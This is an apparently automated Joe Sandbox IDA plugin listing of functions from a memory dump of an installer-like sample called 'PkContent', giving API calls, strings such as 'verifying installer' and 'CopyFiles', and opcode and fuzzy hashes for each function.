Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction ID: 1f9fd54ce4b92d80b15c686f19ace2d36b15c716f321f29b17dee5dd027f7fd2
Opcode Fuzzy Hash: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction Fuzzy Hash: 3E11C632904115EBDB11BBE0DE46AAE3A61EF00314B24807FF501B50D1CBBC4D41D79D

Function 0040484E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404869
GetMessagePos.USER32 ref: 00404871
ScreenToClient.USER32(?,?), ref: 00404889
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040489B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048C1

Strings

f, xrefs: 0040489D

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction ID: 7db1728360bf3821ce9645a1193633f180912fe022e8629b13ab7a69f18166cd
Opcode Fuzzy Hash: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction Fuzzy Hash: C5015E7290021CBAEB00DBA4DD85BEEBBB8AF54710F10452ABB50B61D0D7B85A058BA5

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(00029A00,00000064,?), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction ID: 2210906da4c477318a924a5c8cf459ae641b3a2c10b729e3aa38b42dd2c8d99c
Opcode Fuzzy Hash: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction Fuzzy Hash: 98014470610109ABEF109F60DD49FAA3B69FB00349F00803DFA46B51E0DB7996558B58

Function 004043AD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00447240,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00447240,?), ref: 0040444A
wsprintfW.USER32 ref: 00404457
SetDlgItemTextW.USER32(?,00447240,000000DF), ref: 0040446A

Strings

%u.%u%s%s, xrefs: 00404444
@rD, xrefs: 00404402

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$@rD
API String ID: 3540041739-1813061909
Opcode ID: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction ID: f1896056faf18a44ee7e341cc3389f256aee6b01e91544d35c55ed1e8b934206
Opcode Fuzzy Hash: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction Fuzzy Hash: EF11BD327002087BDB10AA6A9D45E9E765EEBC5334F10423BFA15F30E1F6788A218679

Function 00406038 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
CharNextW.USER32(?,?,?,00000000), ref: 004060AA
CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Strings

*?|<>/":, xrefs: 0040608A

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction ID: 6b5d27536512bbf775d32d1a11483b1b035cd55ac1fbc93341df7bc26af2800c
Opcode Fuzzy Hash: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction Fuzzy Hash: C611EB2184061559CB30FB659C4097BA6F9AE56750712843FE886F32C1FB7CCCE192BD

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction ID: 29266b44d1cae769f6d8fca298176d7cc4518162af5fbc8546bcefd12e7d5eb7
Opcode Fuzzy Hash: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction Fuzzy Hash: EF114972500008FFDF119F90EE85DAA3B7AFB54348F00407AFA06F6170D7759E54AA29

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction ID: a6d8e4af78efbdafb2d3f18e6b80530ac635d705efb76da9f8ac6e555915fa7b
Opcode Fuzzy Hash: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction Fuzzy Hash: 95F012B2600508AFDB00EBA4EF89DAF7BBCEB04305B104579F642F6161C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction ID: e43e738488dd09895ebc4b193b1bc1394e214230f2e5861cb954e074e697f1bf
Opcode Fuzzy Hash: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction Fuzzy Hash: 93217171900209ABDF15AFB4D986ABE7BB9EF04349F14413EF602F60E2D6798A40D758

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

DeleteRegKey: "%s\%s", xrefs: 00402843
DeleteRegValue: "%s\%s" "%s", xrefs: 00402820

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction ID: a9eecf508c221bc7802a822649300ece756bcc80235207ffe39efc99e8d71eac
Opcode Fuzzy Hash: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction Fuzzy Hash: FA11A772E00101ABDB10FFA5DD4AABE7AA4EF40354F14443FF50AB61D2D6BD8A50879D

Function 004048CC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404902
CallWindowProcW.USER32(?,00000200,?,?), ref: 00404970

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Strings

, xrefs: 004048DA
@rD, xrefs: 00404934

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID: $@rD
API String ID: 3748168415-881980237
Opcode ID: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction ID: bed307b1c5f775dd60c200178c13c7fdb07d6bd57f5d25ab133f42f3a31df96a
Opcode Fuzzy Hash: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction Fuzzy Hash: 7A114FB1500218ABEF21AF61ED41E9B3769AB84359F00803BF714751A2C77C8D519BAD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004062D5: FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
Part of subcall function 004062D5: FindClose.KERNEL32(00000000), ref: 004062EC

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction ID: a779005ae7d6007116ac0765ed120a10e3eb966af121a96df1e98a57451096ba
Opcode Fuzzy Hash: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction Fuzzy Hash: A0112171D00214A6CB10FFBA994699FBBBCEF44354F10843FB506F72D2E6B985118B59

Function 00406224 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00406278
lstrcatW.KERNEL32(00000000,...), ref: 0040629B

Strings

..., xrefs: 00406293
%02x%c, xrefs: 00406270

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
